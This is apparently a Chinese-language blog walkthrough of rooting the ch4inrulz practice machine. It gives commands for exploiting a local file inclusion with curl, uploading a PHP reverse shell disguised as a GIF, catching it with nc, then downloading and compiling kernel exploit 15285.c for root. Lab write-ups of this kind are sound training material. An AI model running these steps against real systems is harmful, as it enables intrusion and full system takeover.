靶机渗透测试 实战–hack the ch4inrulz

目录导航

靶机渗透测试

靶机渗透测试 大家好,从本篇文章开始,我将做一个靶机渗透实战系列,废话不多说,直奔主题,我们今天的靶机是ch4inrulz,靶机下载地址在这里

这次靶机实战的目的是获取root权限并入读flag中的信息。

本次实验难度适中,没有缓冲区溢出漏洞,也不需要我们进行exp编写,但是也能让我们进行一些思考。

首先说下这个靶机渗透的几个步骤:

1.       端口扫面和确定IP地址

2.       80端口目录遍历

3.       8011端口目录遍历

4.       寻找LFI漏洞

5.       发现HTML备份文件

6.       破解密码hash

7.       登录开发页面

8.       上传伪装成GIF图片的PHP shell

9.       绕过检查,利用LFI漏洞获取nc shell

10.   提权并获取flag信息

好了,现在开始搞事情

首先,按照常规套路,使用netdiscover工具进行网络扫描来发现靶机的IP地址。在我这个例子中,IP是192.168.1.103,如图:

靶机渗透测试

找到IP之后,我们就用nmap来进行端口扫描

靶机渗透测试

可以看到开放了21,22,80,8011端口。既然开了80端口,那我们就用浏览器访问以下,可以看到一个主页,看起来像是一份简历,如图:

靶机渗透测试

探索一番,没有发现什么东西,那我们就进行目录遍历,这里使用kali自带的dirb工具,如图:

靶机渗透测试

发现了robots.txt文件,不过也没有什么东西。另外一个目录是/development,这个目录有点意思,访问这个目录,弹框要求进行身份验证,应该是一个测试页面。

靶机渗透测试

因为我们现在没有凭证,所以只能先放着,看看一会儿是否会有收获。

我们再来看看8011端口,直接访问主页也没什么东西,好像是一个后端开发部署页面,如图:

靶机渗透测试

我们还是用dirb进行目录遍历,如图:

靶机渗透测试

发现了一个/api目录,凭经验,这个目录肯定有线索,直接访问,得到如下内容:

靶机渗透测试

把这几个目录挨个访问以下,发现只有files_api.php有用,访问后内得到如下页面:

靶机渗透测试

意思就是没有传递file参数。这么一说,很明显是要我们传递file参数,那我们直接在URL后面添加file参数,请求URL如下:

192.168.1.103:8011/api/files_api.php?file=/etc/passwd

 

结果如图:

靶机渗透测试

然而并没有卵用,显示输入错误,还把IP给记录下来了。通常情况下,既然get方式传参不行,那我们试一下post传参,我们使用curl工具来实现,命令如下:

curl – X POST –d "file=/etc/passwd" http://192.168.1.103:8011/api/files_api.php

 

靶机渗透测试

可以看到,我们读取到了/etc/passwd,证明存在LFI本地包含漏洞。

针对这个LFI漏洞,我们尝试了一些方法,但是都无果。

同时,有个现象引起了我的注意,就是这个开发服务器。有一个开发页面,一个开发服务器,肯定不止一个HTML文件,所以大胆猜测它应该有HTML备份文件,通常HTML备份文件都是index.html.bak,我们尝试去访问以下,弹出了一个下载页,哈哈,瞎猫碰上了死耗子。

靶机渗透测试

我们将它保存下来,并且用cat命令读取内容:

靶机渗透测试

太好了,可以看到存在密码hash,那还等什么,赶紧把hash值拷到hash.txt文件中,然后用John the Ripper进行破解:

靶机渗透测试

破解出来是frank:frank!!!

这应该就是/development弹框时的用户名和密码了,我们登录试试:

靶机渗透测试

果不其然,我们登录进来了,如图:

靶机渗透测试

页面信息告诉我们,这个上传工具只完成了一半,那我们进入这个uploader看看,如图:

靶机渗透测试

竟然是一个文件上传页,这里对文件上传类型做了限制,只允许上传jpg,png和gif,文件大小也做了限制。

看看如何来绕过限制?

我是这么做的,切换到kali自带的webshell目录下,也就是/usr/share/webshells/php,找到php反弹shell的文件php-reverse-shell.php,用编辑器打开该文件,在文件第一行插入gif图标志GIF98,并且保存为shell.gif图片格式,如图:

靶机渗透测试

这么做就可以让uploader验证机制认为这是一个正常的图片,而实际上,却是PHP反弹shell文件。

现在我们便使用uploader将图片上传到服务器,收到如下响应:

靶机渗透测试

信息表明,文件已经成功上传到我的uploads路径下。

现在我们把目前收集到的信息小小总结回顾一下:

网站名:Frank’s website

Uploader名:Frank uploader

网站第一条信息:I love patterns

这里猜测上传路径花了一些时间,不过最后还是猜出来了,上传目录应该就是frank uploads。但是具体的大小写并不清楚,所以我们尝试了很多遍,如Frankupload,frankUploads,franksuploads等等,最后试出来的是FRANKuploads。

这一步笔记枯燥也很费时间,但是也没有别的办法能够直接爆出路径,现在我们访问这个路径来看下:

靶机渗透测试

现在万事具备,只欠触发这个伪装成gif的PHP后门。直接访问肯定是没用的,我们还是通过curl这个工具来发起请求:

curl –X POST –d "file=/var/www/development/uploader/FRANKuploads/shell.gif" http://192.168.1.103:8011/api/files_api.php

 

同时,我们在本机使用nc监听1234端口(跟反弹shell的PHP文件保持一样),如图:

nc -lvp 1234

靶机渗透测试

一旦curl触发LFI漏洞,向shell.gif发起请求,很快我们就获得了一个nc会话!如图所示,我们用id命令来查看用户信息,并且使用了python命令来进入服务器的bash shell,

Python –c 'import pty;pty.spawn("/bin/bash");'

 

进入到服务器的shell后,我们使用uname –a命令来查看下系统内核版本,如上图可以看出版本是Linux2.6.35,Google一下可以知道这个版本存在漏洞,对应的提权exp是15285.c。

我们在kali中利用searchsploit工具搜索一下这个exp,然后执行下列操作:

searchsploit 15285

cd Desktop

cp /usr/share/exploitdb/exploits/linux/local/15285.c  .

python –m SimpleHTTPServer 80

靶机渗透测试

这几条命令的意思是,搜索15285这个exp,切换到桌面,将exp拷贝到桌面,然后以桌面为网站绝对路径开启HTTP服务。

接着,在我们刚刚利用nc获取到的shell中来下载这个exp,也就是下载到目标机上,编译exp并执行,得以提权成功,执行的命令如下:

cd tmp

wget http://192.168.1.107/15285.c

gcc 15285.c –o 15285

chmod 777 15285

./15285

执行之后我们便获得了root权限,cd到root,便可以看到flag文件,读取到flag文件内容,如图:

靶机渗透测试

本次靶机实验到此结束,各位白帽子们也可以下载靶机玩耍。

from  暗网网址大全

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注